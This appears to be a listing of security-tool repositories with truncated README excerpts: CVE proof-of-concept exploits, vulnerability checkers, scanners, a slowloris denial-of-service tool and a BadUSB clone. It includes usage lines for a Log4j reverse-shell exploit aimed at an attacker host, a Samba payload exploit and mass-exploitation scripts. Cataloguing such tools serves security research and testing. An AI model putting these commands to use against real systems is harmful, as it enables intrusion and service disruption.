CVE-2020-10199

CVE-2020-10199 Echo version, casually written untested bug Usage: python http://127.0.0.1:8080 username password Reference: https://www.cnblogs.com/magic-zero/p/12641068.html...

CVE-2021-41773-POC

CVE-2021-41773-nse By George Labrin @creadpag Checks if Server is vulnerable to Apache 2.4.49 CVE-2021-41773. POC Open your favorite Terminal and run these commands. Use NMAP. First Tab: mv cve-2021-41773.nse /usr/share/nmap/scripts/ Second Tab: sudo nmap -Pn --script=cve-2021-41773.nse X.X.X.X -...

log4j-payload-generator

log4j-payload-generator log4j-paylaod generator : Un generador de payloads genérico para Apache log4j RCE CVE-2021-44228. Implementación Para implementar este proyecto, ejecuta sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git Ejecutar pruebas Para ejecutar las prueba...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-2022-0847 "Dirty Pipe" https://dirtypipe.cm4all.com/ Usage Check current kernel version ./dpipe.sh Check specific kernel version ./dpipe.sh 5.10.11...

CVE-2021-44228_PoC

POC for CVE-2021-44228 This python script was created while I was working on the TryHackMe room for Log4j. While this was created with default variables for this room, I used argparse to make the script versatile for a GET request. All necessary varaibles can be changed with different options, se...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python implementation Description Python implementation of 'Username' map script' RCE Exploit for Samba 3.0.20 IP - Ip of the remote machine. PORT - Optional Port that smb is running on. PAYLOAD - Payload to be executed on the remote machine e.g. reverse shell. Examples: python3...

CVE-2019-0708poc

CVE-2019-0708poc Just constructed a batch detection script based on the single-IP detection tool for CVE-2019-0708 developed by 360Vulcan Team Only a single-threaded version was written.. haven't had time to implement multi-threading yet...

slowloris

slowloris.py - 简单的 Python slowloris 什么是 Slowloris？ Slowloris 基本上是一种影响多线程服务器的 HTTP 拒绝服务攻击。它的工作原理如下： 1. 我们开始发起大量 HTTP 请求。 2. 我们定期（每约 15 秒）发送头部信息，以保持连接处于打开状态。 3. 除非服务器主动关闭，否则我们从不关闭连接。如果服务器关闭了一个连接，我们就创建一个新连接并继续做同样的事情。 这会耗尽服务器的线程池，导致服务器无法响应其他用户。 引用 如果你觉得这个作品有用，请按以下方式引用它 @articlegkbrkslowloris, title =...

bad_ducky

Bad Ducky Summary Bad Ducky is yet another Rubber Ducky clone. It is based on CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo clone board with onboard card reader, which you can buy on ebay or aliexpress. My goal was to create something compatible with Rubber Ducky scripts, while having ability to...

sticky_keys_hunter

粘滞键猎人 这是一个用于测试粘滞键和 utilman 后门的 POC bash 脚本。该脚本将连接到 RDP 服务器，发送粘滞键和 utilman 触发命令，并对结果进行截图。 此脚本是为了证明我关于以黑盒方式检测这些后门的理论而编写的，自撰写博客文章 追踪粘滞键后门 以来未再更新。然而，@DennisMald 和 @notmedic 进一步推进了这项研究，并在他们的 DEF CON 24 演讲 粘滞键通往王国之路 中发布了 粘滞键杀手 工具。请查看他们的工具，因为它在许多方面优于这个 POC 脚本。 它是如何工作的？ 1. 使用 rdesktop 连接到 RDP 2. 使用 xdoto...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan Introduction F5 BIG-IP Remote Code Execution Vulnerability CVE-2020-5902, fofa scan script Prerequisites fofa member, fill in the value of fofaproarssession. Modify the keyword value on line 12 yourself. Modify the page number range on line 17 yourself. The methods and...

Mass-CVE-2023-3460

Mass-CVE-2023-3460 CVE-2023-3460 masivo. Uso mass-CVE-2023-3460.py list.txt Créditos https://github.com/gbrsh/CVE-2023-3460...

ipyida

= IPyIDA IPyIDA es una solución basada únicamente en Python para añadir una consola de IPython a IDA Pro. Usa para abrir una ventana con una consola Qt integrada. Así podrás beneficiarte del autocompletado de IPython, la ayuda en línea, el campo de entrada con fuente monoespaciada, los gráficos,...

adaudit

adaudit 此 PowerShell 脚本旨在对 Microsoft Active Directory 执行全面审计，重点识别常见安全漏洞与弱点。执行该脚本有助于精准定位需要加固的关键区域，从而抵御针对 Active Directory 的横向移动或权限提升攻击中常用的攻击手法。 | | \ | | | || | | | | | | | | | . | | | |||/ ||||||| by phillips321 如果您有任何适用于此脚本的实用 PowerShell 单行命令，请告知我。我希望此脚本保持为单一文件，且不依赖外部工具（ntdsutil 和 cmd.exe 除外）。...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

CVE-2017-9841

CVE-2017-9841- Installation and Execution of the script 💻 Prerequisites Before starting, make sure you have the following tools installed on your machine: Python 3.x Git pip to manage Python dependencies Installation Steps 1. Clone the repository Use git to clone the repository: git clone...

F-Scrack

To prevent this script from being maliciously used, this project has been deleted...

HackerInfo

HackerInfo install : sudo apt install python3 python3-pip pip3 install termcolor pip3 install google pip3 install optioncomplete pip3 install bs4 pip3 install prettytable git clone https://github.com/Matrix07ksa/HackerInfo/ cd HackerInfo chmod +x HackerInfo ./HackerInfo -h python3 HackerInfo.py -...

httprobe

httprobe Take a list of domains and probe for working http and https servers. Install ▶ go install github.com/tomnomnom/httprobe@latest Basic Usage httprobe accepts line-delimited domains on stdin: ▶ cat recon/example/domains.txt example.com example.edu example.net ▶ cat recon/example/domains.txt...